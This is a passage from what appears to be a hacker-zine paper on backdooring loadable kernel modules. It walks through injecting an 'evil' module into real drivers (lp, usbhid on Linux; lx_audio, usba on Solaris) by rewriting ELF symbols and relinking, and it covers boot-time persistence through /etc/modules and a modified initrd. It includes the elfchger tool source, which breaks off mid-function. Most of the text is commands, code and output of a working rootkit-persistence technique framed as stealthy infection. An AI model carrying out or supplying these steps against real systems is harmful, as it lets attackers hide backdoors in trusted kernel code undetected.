module_init(init); module_exit(clean); /******************************** EOF ************************************/ After the compilation and as expected, a new .init.text section has appeared: $ objdump -t orig.ko ... 00000000 l F .init.text 00000016 init 00000000 l O .modinfo 0000000c __mod_license6 00000000 l df *ABS* 00000000 orig.mod.c 00000020 l O .modinfo 00000023 __mod_srcversion31 00000043 l O .modinfo 00000009 __module_depends 00000000 l O __versions 000000c0 ____versions 00000060 l O .modinfo 0000003b __mod_vermagic5 00000000 g O .gnu.linkonce.this_module 00000174 __this_module 00000000 g F .text 00000019 cleanup_module 00000000 g F .init.text 00000016 init_module 00000000 *UND* 00000000 mcount 00000000 *UND* 00000000 printk Both init and init_module symbols are part of the .init.text section. This new issue can be solved by defining the evil() function as __init: /******************************** evil.c *********************************/ #include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/errno.h> MODULE_LICENSE("GPL"); extern int __init init(); int __init evil(void) { init(); printk(KERN_ALERT "Init Inject!"); /* does something */ return 0; } /******************************** EOF ************************************/ Both init() and evil() are prefixed with __init because we need them in the same section. The same steps described in section 4.1.3 are then performed: 1 - Change the init binding: $ ./elfchger -g init orig.ko [+] Opening orig.ko file... [+] Reading Elf header... >> Done! [+] Finding ".symtab" section... >> Found at 0x77c [+] Finding ".strtab" section... >> Found at 0x7a4 [+] Getting symbol' infos: >> Symbol found at 0x8fc >> Index in symbol table: 0xf [+] Reordering symbols: >> Starting: >> Moving symbol from 10 to f >> Moving symbol from 11 to 10 >> Moving symbol from 12 to 11 >> Moving symbol from 13 to 12 >> Moving symbol from 14 to 13 >> Moving symbol from 15 to 14 >> Moving our symbol from 15 to 15 >> Last LOCAL symbol: 0x15 >> Done! [+] Updating symbol' infos: [>> Symbol found at 0x95c >> Index in symbol table: 0x15 >> Replacing flag 'LOCAL' located at 0x968 with 'GLOBAL' [+] Updating symtab infos at 0x77c 2 - Link the modules together: $ ld -r orig.ko evil.ko -o new.ko $ objdump -t new.ko ... 00000016 g F .init.text 0000001b evil 00000000 g O .gnu.linkonce.this_module 00000174 __this_module 00000000 g F .text 00000019 cleanup_module 00000000 g F .init.text 00000016 init_module 00000000 *UND* 00000000 mcount 00000000 *UND* 00000000 printk 00000000 g F .init.text 00000016 init 3 - Change init_module address: $ ./elfchger -s init_module -v 00000016 new.ko [+] Opening new.ko file... [+] Reading Elf header... >> Done! [+] Finding ".symtab" section... >> Found at 0x954 [+] Finding ".strtab" section... >> Found at 0x97c [+] Getting symbol' infos: >> Symbol found at 0xbec >> Index in symbol table: 0x1f [+] Replacing 0x00000000 with 0x00000016... done! $ objdump -t new.ko ... 00000016 g F .init.text 0000001b evil 00000000 g O .gnu.linkonce.this_module 00000174 __this_module 00000000 g F .text 00000019 cleanup_module 00000016 g F .init.text 00000016 init_module 00000000 *UND* 00000000 mcount 00000000 *UND* 00000000 printk 00000000 g F .init.text 00000016 init 4 - Load the module in memory: $ mv new.ko orig.ko $ sudo insmod orig.ko $ dmesg|tail ... [ 323.085545] Init Original! [ 323.085553] Init Inject! As expected, it works! ---[ 4.3 - What about cleanup_module These methods work fine with the cleanup_module symbol which is called by the kernel when the module is unloaded. Never forget to deal with the termination function as well because if you don't and if the infected module was removed for some reason then your kernel would most likely crash (because there would now be invalid references to the module). The module exit function can be injected simply by altering the symbol whose name is specified in elfchger: $ ./elfchger -s cleanup_module -v address_evil_fn new.ko In this way, when the module is unloaded, the evil() function will be invoked instead of the clean() one. You may also need to deal with binding issues and __exit attribute but the adaptation of the previous method is straightforward. ---[ 5 - Real life example This chapter will show the usage of the present method in a real life example. Let's suppose that evil.ko is a working backdoor. We want to inject it into a kernel module not used by any other kernel module. This test was done on Ubuntu 11.10 (x86) with a 3.0.0 kernel. $ uname -a Linux ubuntu 3.0.0-15-generic #26-Ubuntu SMP Fri Jan 20 15:59:53 UTC 2012 i686 i686 i386 GNU/Linux Let's begin by checking which modules to infect by using the lsmod command: $ lsmod Module Size Used by serio_raw 4022 0 lp 7342 0 snd_seq_midi 4588 0 usbhid 36882 0 binfmt_misc 6599 1 agpgart 32011 1 drm snd_intel8x0 25632 2 ... libahci 21667 3 ahci The command output shows that some of the modules are not used by any other module. These modules can be unloaded safely and then they can be infected with our backdoor using the method presented above. This chapter is divided into two sections in which I'll describe two techniques to load the module when the operating system is booted: 1 - Infect a kernel module (or simply add a new one) on /etc/modprobe.preload (Fedora, etc.) or in /etc/modules on Debian/Ubuntu. 2 - Backdoor initrd. ---[ 5.1 - Infecting a kernel module in /etc/modules First of all, we have to know which modules are in the /etc/modules file: $ cat /etc/modules # /etc/modules: kernel modules to load at boot time. ... lp As described in the previous section, this module (lp.ko) can be unloaded safely and then infected with our backdoor. $ find / -name lp.ko ... /lib/modules/3.0.0-15-generic/kernel/drivers/char/lp.ko ... $ cd /lib/modules/3.0.0-15-generic/kernel/drivers/char Next, we check which function is called by the init_module: $ objdump -t lp.ko |grep -e ".init.text" 00000000 l F .init.text 00000175 lp_init 00000175 l F .init.text 000000ae lp_init_module 00000000 l d .init.text 00000000 .init.text 00000175 g F .init.text 000000ae init_module We want to infect the lp_init_module() function, so the evil module will be coded in the following way: /****************** evil.c ***********************************************/ #include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/errno.h> MODULE_LICENSE("GPL"); extern int __init lp_init_module(); int __init evil(void) { printk(KERN_ALERT "Init Inject! Lp"); lp_init_module(); /* does something */ return 0; } /****************** EOF **************************************************/ Since the lp_init_module function is static we need to change its binding type to global. $ ./elfchger -g lp_init_module lp.ko [+] Opening lp.ko file... [+] Reading Elf header... >> Done! [+] Finding ".symtab" section... >> Found at 0x28a0 [+] Finding ".strtab" section... >> Found at 0x28c8 [+] Getting symbol' infos: >> Symbol found at 0x2b30 >> Index in symbol table: 0x24 [+] Reordering symbols: >> Starting: >> Moving symbol from 25 to 24 >> Moving symbol from 26 to 25 >> Moving symbol from 27 to 26 >> Moving symbol from 28 to 27 >> Moving symbol from 29 to 28 >> Moving symbol from 2a to 29 >> Moving symbol from 2b to 2a >> Moving symbol from 2c to 2b >> Moving symbol from 2d to 2c >> Moving symbol from 2e to 2d >> Moving symbol from 2f to 2e >> Moving symbol from 30 to 2f >> Moving symbol from 31 to 30 >> Moving symbol from 32 to 31 >> Moving symbol from 33 to 32 >> Moving symbol from 34 to 33 >> Moving symbol from 35 to 34 >> Moving symbol from 36 to 35 >> Moving symbol from 37 to 36 >> Moving symbol from 38 to 37 >> Moving symbol from 39 to 38 >> Moving symbol from 3a to 39 >> Moving symbol from 3b to 3a >> Moving symbol from 3c to 3b >> Moving symbol from 3d to 3c >> Moving our symbol from 36 to 3d >> Last LOCAL symbol: 0x3d >> Done! [+] Updating symbol' infos: >> Symbol found at 0x2cc0 >> Index in symbol table: 0x3d >> Replacing flag 'LOCAL' located at 0x2ccc with 'GLOBAL' [+] Updating symtab infos at 0x28a0 The two modules can be now linked together: $ ld -r lp.ko evil.ko -o new.ko $ objdump -t new.ko |grep -e init_module -e evil 00000000 l df *ABS* 00000000 evil.c 00000000 l df *ABS* 00000000 evil.mod.c 00000223 g F .init.text 00000019 evil 00000175 g F .init.text 000000ae lp_init_module 00000175 g F .init.text 000000ae init_module Now the relative address of init_module has to be changed to 0000021a: $ ./elfchger -s init_module -v 00000223 new.ko [+] Opening new.ko file... [+] Reading Elf header... >> Done! [+] Finding ".symtab" section... >> Found at 0x2a34 [+] Finding ".strtab" section... >> Found at 0x2a5c [+] Getting symbol' infos: >> Symbol found at 0x39a4 >> Index in symbol table: 0x52 [+] Replacing 0x00000175 with 0x00000223... done! The new.ko module must be renamed to lp.ko and then loaded: $ mv new.ko lp.ko $ sudo rmmod lp $ sudo insmod lp.ko $ dmesg|tail ... $ dmesg .... [ 1033.418723] Init Inject! Lp [ 1033.431131] lp0: using parport0 (interrupt-driven). From now on, every time the system is booted, the infected lp kernel module will be loaded instead of the original one. ---[ 5.2 - Backdooring initrd It is also possible to backdoor a module in the initrd image. The target module has to be extracted out of the image, backdoored and then reinserted back. The target module used throughout this example will be usbhid.ko. In order to inject a kernel module into the initrd image, we'll follow the guide in [9], which explains how to add a new module inside the initrd image. According to [9], the initrd image can be copied from /boot to a target directory (e.g. /tmp) so we can easily work on it: $ cp /boot/initrd.img-2.6.35-22-generic /tmp/ $ cd /tmp The image can be now decompressed using the gzip tool: $ mv initrd.img-2.6.35-22-generic initrd.img-2.6.35-22-generic.gz $ gzip -d initrd.img-2.6.35-22-generic.gz $ mkdir initrd $ cd initrd/ $ cpio -i -d -H newc -F ../initrd.img-2.6.35-22-generic \ --no-absolute-filenames 50522 blocks The location of the usbhid.ko module has then to be found inside the kernel tree: $ find ./ -name usbhid ./lib/modules/2.6.35-22-generic/kernel/drivers/hid/usbhid $ cd lib/modules/2.6.35-22-generic/kernel/drivers/hid/usbhid At this point it can be easily infected with our evil module: $ objdump -t usbhid.ko |grep -e ".init.text" 00000000 l F .init.text 000000c3 hid_init 00000000 l d .init.text 00000000 .init.text 00000000 g F .init.text 000000c3 init_module 000000c3 g F .init.text 00000019 hiddev_init Since we want to infect the hid_init() function, the evil module will be coded in the following way: /****************** evil.c ***********************************************/ #include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/errno.h> MODULE_LICENSE("GPL"); extern int __init hid_init(); int __init evil(void) { hid_init(); printk(KERN_ALERT "Init Inject! Usbhid"); /* does something */ return 0; } /****************** EOF **************************************************/ $ ./elfchger -g hid_init usbhid.ko [+] Opening usbhid.ko file... [+] Reading Elf header... >> Done! [+] Finding ".symtab" section... >> Found at 0xa24c [+] Finding ".strtab" section... >> Found at 0xa274 [+] Getting symbol' infos: >> Symbol found at 0xa4dc >> Index in symbol table: 0x24 [+] Reordering symbols: >> Starting: >> Moving symbol from 25 to 24 ... >> Moving symbol from a6 to a5 >> Moving our symbol from 36 to a6 >> Last LOCAL symbol: 0xa6 >> Done! [+] Updating symbol' infos: >> Symbol found at 0xacfc >> Index in symbol table: 0xa6 >> Replacing flag 'LOCAL' located at 0xad08 with 'GLOBAL' [+] Updating symtab infos at 0xa24c $ ld -r usbhid.ko evil.ko -o new.ko $ objdump -t new.ko | grep -e init_module -e evil 00000000 l df *ABS* 00000000 evil.c 00000000 l df *ABS* 00000000 evil.mod.c 000000dc g F .init.text 0000001b evil 00000000 g F .init.text 000000c3 init_module $ ./elf -s init_module -v 000000dc new.ko [+] Opening new.ko file... [+] Reading Elf header... >> Done! [+] Finding ".symtab" section... >> Found at 0xa424 [+] Finding ".strtab" section... >> Found at 0xa44c [+] Getting symbol' infos: >> Symbol found at 0xd2dc >> Index in symbol table: 0xd5 [+] Replacing 0x00000000 with 0x000000dc... done! $ mv new.ko usbhid.ko Once the target module has been infected with the evil one, we must recreate the initrd image: $ cd /tmp/initrd/ $ find . | cpio -o -H newc | gzip > /tmp/initrd.img-2.6.35-22-generic 50522 blocks $ cp ../initrd.img-2.6.35-22-generic /boot/ From now on, every time the system is booted, the infected usbhid kernel module will be loaded instead of the original one. ---[ 6 - What about other systems? In this last chapter we will see how the presented infection method can applied to other operating systems, specifically Solaris, FreeBSD, NetBSD and OpenBSD. It will be shown that, even if the method is different from that used on Linux, infection is still possible. ---[ 6.1 - Solaris On Solaris systems infecting a kernel module is simpler than on Linux ones. Changing the symbol's name in the .strtab ELF section is sufficient, similarly to truff's original method for the Linux kernel 2.4.* versions. The method has been tested on Solaris 10: # uname -a SunOS unknown 5.10 Generic_142910-17 i86pc i386 i86pc ---[ 6.1.1 - A basic example The orig.c and evil.c source codes are as follows: /******************************** orig.c *********************************/ #include <sys/ddi.h> #include <sys/sunddi.h> #include <sys/modctl.h> extern struct mod_ops mod_miscops; static struct modlmisc modlmisc = { &mod_miscops, "original", }; static struct modlinkage modlinkage = { MODREV_1, (void *) &modlmisc, NULL }; int _init(void) { int i; if ((i = mod_install(&modlinkage)) != 0) cmn_err(CE_NOTE, "Can't load module!\n"); else cmn_err(CE_NOTE, "Init Original!"); return i; } int _info(struct modinfo *modinfop) { return (mod_info(&modlinkage, modinfop)); } int _fini(void) { int i; if ((i = mod_remove(&modlinkage)) != 0) cmn_err(CE_NOTE, "Can't remove module!\n"); else cmn_err(CE_NOTE, "Exit Original!"); return i; } /******************************** EOF ************************************/ /******************************** evil.c *********************************/ #include <sys/ddi.h> #include <sys/sunddi.h> #include <sys/modctl.h> extern int _evil(void); int _init(void) { cmn_err(CE_NOTE, "Inject!"); _evil(); return 0; } /******************************** EOF ************************************/ The _init function is called at module initialisation, while the _fini one is called at module cleanup. The _info function prints information about the module when the "modinfo" command is invoked. The two modules can be compiled using the following commands: # /usr/sfw/bin/gcc -g -D_KERNEL -DSVR4 -DSOL2 -DDEBUG -O2 -c orig.c # /usr/sfw/bin/gcc -g -D_KERNEL -DSVR4 -DSOL2 -DDEBUG -O2 -c evil.c Let's have a look at the orig.o ELF file by using the "elfdump" command: # /usr/ccs/bin/elfdump -s orig.o Symbol Table Section: .symtab index value size type bind oth ver shndx name [0] 0x00000000 0x00000000 NOTY LOCL D 0 UNDEF [1] 0x00000000 0x00000000 FILE LOCL D 0 ABS orig.c [2] 0x00000000 0x00000000 SECT LOCL D 0 .text ... [16] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_miscops [17] 0x00000000 0x0000004d FUNC GLOB D 0 .text _init [18] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_install [19] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF cmn_err [20] 0x00000050 0x00000018 FUNC GLOB D 0 .text _info [21] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_info [22] 0x00000068 0x0000004d FUNC GLOB D 0 .text _fini [23] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_remove The _evil() function must be called instead of _init when the module is loaded. To achieve this, the following steps have to be performed: - Change the _init symbol name to _evil in orig.o; - Link the two modules together; This way, the kernel will load the _init() function defined in evil.c which in turn will call the _evil() function (the old _init()) in order to maintain the correct behaviour of the orig module. It is possible to change a symbol name using the 'objcopy' tool. In fact the '--redefine-sym' option can be used to give an arbitrary name to the specified symbol: # /usr/sfw/bin/gobjcopy --redefine-sym _init=_evil orig.o # /usr/ccs/bin/elfdump -s orig.o Symbol Table Section: .symtab index value size type bind oth ver shndx name [0] 0x00000000 0x00000000 NOTY LOCL D 0 UNDEF [1] 0x00000000 0x00000000 FILE LOCL D 0 ABS orig.c [2] 0x00000000 0x00000000 SECT LOCL D 0 .text ... [16] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_miscops [17] 0x00000000 0x0000004d FUNC GLOB D 0 .text _evil [18] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_install [19] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF cmn_err [20] 0x00000050 0x00000018 FUNC GLOB D 0 .text _info [21] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_info [22] 0x00000068 0x0000004d FUNC GLOB D 0 .text _fini [23] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_remove By checking with "elfdump" it is possible to verify if the script properly performed its job: # /usr/ccs/bin/elfdump -s orig.o Symbol Table Section: .symtab index value size type bind oth ver shndx name [0] 0x00000000 0x00000000 NOTY LOCL D 0 UNDEF [1] 0x00000000 0x00000000 FILE LOCL D 0 ABS orig.c [2] 0x00000000 0x00000000 SECT LOCL D 0 .text ... [16] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_miscops [17] 0x00000000 0x0000004d FUNC GLOB D 0 .text _evil [18] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_install [19] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF cmn_err [20] 0x00000050 0x00000018 FUNC GLOB D 0 .text _info [21] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_info [22] 0x00000068 0x0000004d FUNC GLOB D 0 .text _fini [23] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_remove The _init symbol name has been modified to _evil. The modules are then linked together using the "ld" command: # ld -r orig.o evil.o -o new.o The new.o elf file dump follows: # /usr/ccs/bin/elfdump -s new.o Symbol Table Section: .symtab index value size type bind oth ver shndx name [0] 0x00000000 0x00000000 NOTY LOCL D 0 UNDEF [1] 0x00000000 0x00000000 FILE LOCL D 0 ABS new.o [2] 0x00000000 0x00000000 SECT LOCL D 0 .text ... [27] 0x00000000 0x00000000 FILE LOCL D 0 ABS evil.c [28] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_install [29] 0x00000000 0x0000004d FUNC GLOB D 0 .text _evil [30] 0x00000068 0x0000004d FUNC GLOB D 0 .text _fini [31] 0x00000050 0x00000018 FUNC GLOB D 0 .text _info [32] 0x000000b8 0x0000001e FUNC GLOB D 0 .text _init [33] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_miscops [34] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_info [35] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_remove [36] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF cmn_err To summarize, the _init symbol is referring to the function defined in evil.c, while the _evil symbol is referring to the old _init defined in orig.c that we have just renamed to _evil. Now, the last step is to rename the new.o into orig.o and to load it: # mv new.o orig.o # modload orig.o # tail /var/adm/messages ... May ... orig.o: [ID 343233 kern.notice] NOTICE: Inject! May ... orig.o: [ID 662037 kern.notice] NOTICE: Init Original! As you can see the module is successfully infected. # modinfo | grep orig.o 247 fa9e6eac 160 - 1 orig.o (original) # modunload -i 247 ---[ 6.1.2 - Playing with OS modules This section will explain how to infect a system kernel module. The method remains the same but it will be necessary to make minor changes to the evil module in order to correctly load it to memory. The evil module will be injected into the audio driver. First of all, the module has to be unloaded: # modinfo | grep lx_audio 216 f99e40e0 2614 242 1 lx_audio (linux audio driver 'lx_audio' 1) # modunload -i 216 Now, it is possible to play with it: # /usr/ccs/bin/elfdump -s lx_audio|grep _init [64] 0x000020c2 0x00000011 FUNC GLOB D 0 .text _init [118] 0x00000000 0x00000000 FUNC GLOB D 0 UNDEF mutex_init # /usr/sfw/bin/gobjcopy --redefine-sym _init=_evil lx_audio # ld -r evil.o lx_audio -o new # /usr/ccs/bin/elfdump -s new|grep _evil [77] 0x000020de 0x00000011 FUNC GLOB D 0 .text _evil # mv new lx_audio # modload lx_audio # tail /var/adm/messages ... Dec 29 17:00:19 spaccio lx_audio: ... NOTICE: Inject! Great, it works! ---[ 6.1.3 - Keeping it stealthy According to the /etc/system file, the kernel modules that are loaded at boot time are located in the /kernel and /usr/kernel directories. The platform-dependent modules reside in the /platform directory. In this example I'll infect the usb kernel module: usba. First of all the kernel module's position in the filesystem must be located: # find /kernel -name usba /kernel/misc/amd64/usba /kernel/misc/usba /kernel/kmdb/amd64/usba /kernel/kmdb/usba # cd /kernel/misc/usba # /usr/ccs/bin/elfdump -s usba|grep _init ... [291] 0x00017354 0x0000004c FUNC LOCL D 0 .text ugen_ds_init [307] 0x00017937 0x000000e3 FUNC LOCL D 0 .text ugen_pm_init [347] 0x00000fd4 0x00000074 FUNC GLOB D 0 .text _init .... [655] 0x00000000 0x00000000 FUNC GLOB D 0 UNDEF rw_init [692] 0x00000000 0x00000000 FUNC GLOB D 0 UNDEF cv_init Now it is possible to change the _init symbol name to _evil. # /usr/sfw/bin/gobjcopy --redefine-sym _init=_evil usba # /usr/ccs/bin/elfdump -s usba|grep _evil [348] 0x00000fd4 0x00000074 FUNC GLOB D 0 .text _evil # ld -r evil.o usba -o new Now we have only to rename the module to its original name: # mv new usba From now on, every time the system is booted, the infected usba kernel module will be loaded instead of the original one. ---[ 6.2 - *BSD ---[ 6.2.1 - FreeBSD - NetBSD - OpenBSD The conclusions made by truff are still valid in the newest versions of these operating systems. On FreeBSD, kernel modules are shared objects, so the proposed method doesn't work because the kernel modules can't be partially linked. On NetBSD and OpenBSD what we have to do is simply to change the entry point of the kernel module when it is loaded. So our function will be invoked instead the original one. ---[ 7 - Conclusions In this paper a new module injection method was introduced to be used with Linux kernel 2.6.x/3.0.x series. Several methods, from simple to more sophisticated were presented to inject external code into kernel modules. It was also explained how the method (with some changes) can be successfully applied to a wide range of operating systems. I hope you'll have fun with it and that you enjoyed this paper! Bye. ---[ 8 - References [1] Infecting loadable kernel modules http://www.phrack.com/issues.html?issue=61&id=10#article [2] EXECUTABLE AND LINKABLE FORMAT (ELF) http://www.muppetlabs.com/~breadbox/software/ELF.txt [3] Init Call Mechanism in the Linux Kernel http://linuxgazette.net/157/amurray.html [4] Understanding the Linux Kernel, 3rd Edition [5] Init Call Mechanism in the Linux Kernel http://linuxgazette.net/157/amurray.html [6] OpenBSD Loadable Kernel Modules http://www.thc.org/root/docs/loadable_kernel_modules/openbsd-lkm.html [7] Introduction to NetBSD loadable kernel modules http://www.home.unix-ag.org/bmeurer/NetBSD/howto-lkm.html [8] Solaris Loadable Kernel Modules http://www.thc.org/papers/slkm-1.0.html [9] Initrd, modules, and tools http://www.dark.ca/2009/06/10/initrd-modules-and-tools/ ---[ 9 - Codes ---[ 9.1 - Elfchger /* * elfchger.c by styx^ <the.styx@gmail.com> (based on truff's code) * * Script with two features: * * Usage 1: Change the symbol name value (address) in a kernel module. * Usage 2: Change the symbol binding (from local to global) in a kernel * module. * * Usage: * 1: ./elfchger -f [symbol] -v [value] <module_name> * 2: ./elfchger -g [symbol] <module_name> */ #include <stdlib.h> #include <stdio.h> #include <elf.h> #include <string.h> #include <getopt.h> int ElfGetSectionByName (FILE *fd, Elf32_Ehdr *ehdr, char *section, Elf32_Shdr *shdr); int ElfGetSectionName (FILE *fd, Elf32_Word sh_name, Elf32_Shdr *shstrtable, char *res, size_t len); Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab, Elf32_Shdr *strtab, char *name, Elf32_Sym *sym); void ElfGetSymbolName (FILE *fd, Elf32_Word sym_name, Elf32_Shdr *strtable, char *res, size_t len); unsigned long ReorderSymbols (FILE *fd, Elf32_Shdr *symtab, Elf32_Shdr *strtab, char *name); int ReoderRelocation(FILE *fd, Elf32_Shdr *symtab, Elf32_Shdr *strtab, char *name, Elf32_Sym *sym); int ElfGetSectionByIndex (FILE *fd, Elf32_Ehdr *ehdr, Elf32_Half index, Elf32_Shdr *shdr); void usage(char *cmd); int main (int argc, char **argv) { FILE *fd; Elf32_Ehdr hdr; Elf32_Shdr symtab, strtab; Elf32_Sym sym; Elf32_Off symoffset; Elf32_Addr value; unsigned long new_index = 0; int gflag = 0, vflag = 0, fflag = 0; char *sym_name; int sym_value = 0; long sym_off, str_off; int opt; if ( argc != 4 && argc != 6 ) { usage(argv[0]); exit(-1); } while ((opt = getopt(argc, argv, "vsg")) != -1) { switch (opt) { case 'g': if( argc-1 < optind) { printf("[-] You must specify symbol name!\n"); usage(argv[0]); exit(-1); } gflag = 1; sym_name = argv[optind]; break; case 's': if( argc-1 < optind) { printf("[-] You must specify symbol name!\n"); usage(argv[0]); exit(-1); } fflag = 1; sym_name = argv[optind]; break; case 'v': if( argc-1 < optind) { printf("[-] You must specify new symbol address\n"); usage(argv[0]); exit(-1); } vflag = 1; sym_value = strtol(argv[optind], (char **) NULL, 16); break; default: usage(argv[0]); exit(-1); } } printf("[+] Opening %s file...\n", argv[argc-1]); fd = fopen (argv[argc-1], "r+"); if (fd == NULL) { printf("[-] File \"%s\" not found!\n", argv[1]); exit(-1); } printf("[+] Reading Elf header...\n"); if (fread (&hdr, sizeof (Elf32_Ehdr), 1, fd) < 1) { printf("[-] Elf header corrupted!\n"); exit(-1); } printf("\t>> Done!\n"); printf("[+] Finding \".symtab\" section...\n"); sym_off = ElfGetSectionByName (fd, &hdr, ".symtab", &symtab); if (sym_off == -1) { printf("[-] Can't get .symtab section\n"); exit(-1); } printf("\t>> Found at 0x%x\n", (int )sym_off); printf("[+] Finding \".strtab\" section...\n"); str_off = ElfGetSectionByName (fd, &hdr, ".strtab", &strtab); if (str_off == -1) { printf("[-] Can't get .strtab section!\n"); exit(-1); } printf("\t>> Found at 0x%x\n", (int )str_off); printf("[+] Getting symbol' infos:\n"); symoffset = ElfGetSymbolByName (fd, &symtab, &strtab, sym_name, &sym); if ( (int) symoffset == -1) { printf("[-] Symbol \"%s\" not found!\n", sym_name); exit(-1); } if ( gflag == 1 ) { if ( ELF32_ST_BIND(sym.st_info) == STB_LOCAL ) { unsigned char global; unsigned long offset = 0; printf("[+] Reordering symbols:\n"); new_index = ReorderSymbols(fd, &symtab, &strtab, sym_name); printf("[+] Updating symbol' infos:\n"); symoffset = ElfGetSymbolByName(fd, &symtab, &strtab, sym_name, &sym); if ( (int) symoffset == -1) { printf("[-] Symbol \"%s\" not found!\n", sym_name); exit(-1); } offset = symoffset+1+sizeof(Elf32_Addr)+1+sizeof(Elf32_Word)+2; printf("\t>> Replacing flag 'LOCAL' located at 0x%x with 'GLOBAL'\ \n", (unsigned int)offset); if (fseek (fd, offset, SEEK_SET) == -1) { perror("[-] fseek: "); exit(-1); } global = ELF32_ST_INFO(STB_GLOBAL, STT_FUNC); if (fwrite (&global, sizeof(unsigned char), 1, fd) < 1) { perror("[-] fwrite: "); exit(-1); } printf("[+] Updating symtab infos at 0x%x\n", (int )sym_off); if ( fseek(fd, sym_off, SEEK_SET) == -1 ) { perror("[-] fseek: "); exit(-1); } symtab.sh_info = new_index; // updating sh_info with the new index // in symbol table. if( fwrite(&symtab, sizeof(Elf32_Shdr), 1, fd) < 1 ) { perror("[-] fwrite: "); exit(-1); } } else { printf("[-] Already global function!\n"); } } else if ( fflag == 1 && vflag == 1 ) { memset(&value, 0, sizeof(Elf32_Addr)); memcpy(&value, &sym_value, sizeof(Elf32_Addr)); printf("[+] Replacing 0x%.8x with 0x%.8x... ", sym.st_value, value); if (fseek (fd, symoffset+sizeof(Elf32_Word), SEEK_SET) == -1) { perror("[-] fseek: "); exit(-1); } if (fwrite (&value, sizeof(Elf32_Addr), 1, fd) < 1 ) { perror("[-] fwrite: "); exit(-1); } printf("done!\n"); fclose (fd); } return 0; } /* This function returns the offset relative to the symbol name "name" */ Elf32_Off ElfGetSymbolByName(FILE *fd, Elf32_Shdr *symtab, Elf32_Shdr *strtab, char *name, Elf32_Sym *sym) { unsigned int i; char symname[255]; for ( i = 0; i < (symtab->sh_size/symtab->sh_entsize); i++) { if (fseek (fd, symtab->sh_offset + (i * symtab->sh_entsize), SEEK_SET) == -1) { perror("\t[-] fseek: "); exit(-1); } if (fread (sym, sizeof (Elf32_Sym), 1, fd) < 1) { perror("\t[-] read: "); exit(-1); } memset (symname, 0, sizeof (symname)); ElfGetSymbolName (fd, sym->st_name, strtab, symname, sizeof (symname)); if (!strcmp (symname, name)) { printf("\t>> Symbol found at 0x%x\n", symtab->sh_offset + (i * symtab->sh_entsize)); printf("\t>> Index in symbol table: 0x%x\n", i); return symtab->sh_offset + (i * symtab->sh_entsize); } } return -1; } /* This function returns the new index of symbol "name" inside the symbol * table after re-ordering. */ unsigned long ReorderSymbols (FILE *fd, Elf32_Shdr *symtab, Elf32_Shdr *strtab, char *name) { unsigned int i = 0, j = 0; char symname[255]; Elf32_Sym *all; Elf32_Sym temp; unsigned long new_index = 0; unsigned long my_off = 0; printf("\t>> Starting:\n"); all = (Elf32_Sym *) malloc(sizeof(Elf32_Sym) * (symtab->sh_size/symtab->sh_entsize)); if ( all == NULL ) { return -1; } memset(all, 0, symtab->sh_size/symtab->sh_entsize); my_off = symtab->sh_offset; for ( i = 0; i < (symtab->sh_size/symtab->sh_entsize); i++) { if (fseek (fd, symtab->sh_offset + (i * symtab->sh_entsize), SEEK_SET) == -1) { perror("\t[-] fseek: "); exit(-1); } if (fread (&all[i], sizeof (Elf32_Sym), 1, fd) < 1) { printf("\t[-] fread: "); exit(-1); } memset (symname, 0, sizeof (symname)); ElfGetSymbolName(fd, all[i].st_name, strtab, symname, sizeof(symname)); if (!strcmp (symname, name)) { j = i; continue; } } temp = all[j]; for ( i = j; i < (symtab->sh_size/symtab->sh_entsize); i++ ) { if ( i+1 >= symtab->sh_size/symtab->sh_entsize ) break; if ( ELF32_ST_BIND(all[i+1].st_info) == STB_LOCAL ) { printf("\t>> Moving symbol from %x to %x\n", i+1, i); all[i] = all[i+1]; } else { new_index = i; printf("\t>> Moving our symbol from %d to %x\n", j, i); all[i] = temp; break; } } printf("\t>> Last LOCAL symbol: 0x%x\n", (unsigned int)new_index); if ( fseek (fd, my_off, SEEK_SET) == -1 ) { perror("\t[-] fseek: "); exit(-1); } if ( fwrite(all, sizeof( Elf32_Sym), symtab->sh_size/symtab->sh_entsize, fd) < (symtab->sh_size/symtab->sh_entsize )) { perror("\t[-] fwrite: "); exit(-1); } printf("\t>> Done!\n"); free(all); return new_index; } int ElfGetSectionByIndex (FILE *fd, Elf32_Ehdr *ehdr, Elf32_Half index, Elf32_Shdr *shdr) { if (fseek (fd, ehdr->e_shoff + (index * ehdr->e_shentsize), SEEK_SET) == -1) { perror("\t[-] fseek: "); exit(-1); } if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1) { printf("\t[-] Sections header corrupted"); exit(-1); } return 0; } int ElfGetSectionByName (FILE *fd, Elf32_Ehdr *ehdr, char *section, Elf32_Shdr *shdr) { int i; char name[255]; Elf32_Shdr shstrtable; ElfGetSectionByIndex (fd, ehdr, ehdr->e_shstrndx, &shstrtable); memset (name, 0, sizeof (name)); for ( i = 0; i < ehdr->e_shnum; i++) { if (fseek (fd, ehdr->e_shoff + (i * ehdr->e_shentsize), SEEK_SET) == -1) { perror("\t[-] fseek: "); exit(-1); } if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1) { printf("[-] Sections header corrupted"); exit(-1); } ElfGetSectionName (fd, shdr->sh_name, &shstrtable, name, sizeof (name)); if (!strcmp (name, section)) { 